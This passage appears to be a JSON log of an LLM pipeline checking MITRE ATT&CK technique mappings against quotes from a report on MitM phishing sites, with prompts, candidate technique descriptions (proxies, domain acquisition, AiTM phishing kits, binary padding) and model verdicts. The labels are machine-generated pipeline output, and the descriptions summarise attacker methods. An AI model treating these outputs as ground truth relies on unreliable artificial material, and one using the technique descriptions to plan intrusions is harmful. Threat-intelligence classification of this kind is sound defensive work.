Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: researchers\nAction: found\nObject: low percentage of MitM sites on blocklists\nTool: Phoca\nTarget: VirusTotal\n\nSOURCE QUOTE\nOf those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal\n\nCANDIDATE 0\nATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 1\nATT&CK technique: T1590.005 IP Addresses\nDescription: Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 3\nATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1027.001 Binary Padding\nDescription: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.\nTactics: stealth\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 5\nATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: As the 2020 presidential election is one of the top trending events, The ThreatLabZ team has been actively monitoring newly registered domains (NRDs) based on election trends and keywords for the past three months.\n\nCANDIDATE 6\nATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 9\nATT&CK technique: T1595.001 Scanning IP Blocks\nDescription: Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": -1,\n \"support\": \"unsupported\",\n \"evidence_quote\": \"Of those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal\",\n \"rationale\": \"Researchers analyzing blocklist coverage is a defensive research activity, not an adversary action acquiring infrastructure or gathering victim information.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2731, + "completion_tokens": 95, + "total_tokens": 2826 + } + }, + "evidence_sha256": "cba4b59c6f772980e86be80fa6469929525c0251cc29139580e250a75fcbc5c0" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 4449.7, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: researchers\nAction: found\nObject: MitM phishing sites have longer lifespan\nTool: Phoca\n\nSOURCE QUOTE\nthey found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The final phishing page spoofs the Microsoft Office 365 login page, as shown in Figures 11 and 12.\n\nCANDIDATE 1\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 6\nATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns.\n\nCANDIDATE 9\nATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": -1,\n \"support\": \"unsupported\",\n \"evidence_quote\": \"they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days\",\n \"rationale\": \"The quote describes researchers analyzing phishing site lifespans, which is defensive analysis rather than adversary activity.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3493, + "completion_tokens": 95, + "total_tokens": 3588 + } + }, + "evidence_sha256": "855e421ea1fa6475b6401d5253efeb735acac0a80b7a11642e94effabb94f011" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3994.2, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Proofpoint researchers\nAction: identified\nObject: MitM reverse proxy site\n\nSOURCE QUOTE\nProofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours\n\nCANDIDATE 0\nATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: *Figure 19: Communication via proxy.*\n\nCANDIDATE 1\nATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 2\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 3\nATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |\n\nCANDIDATE 4\nATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 5\nATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes 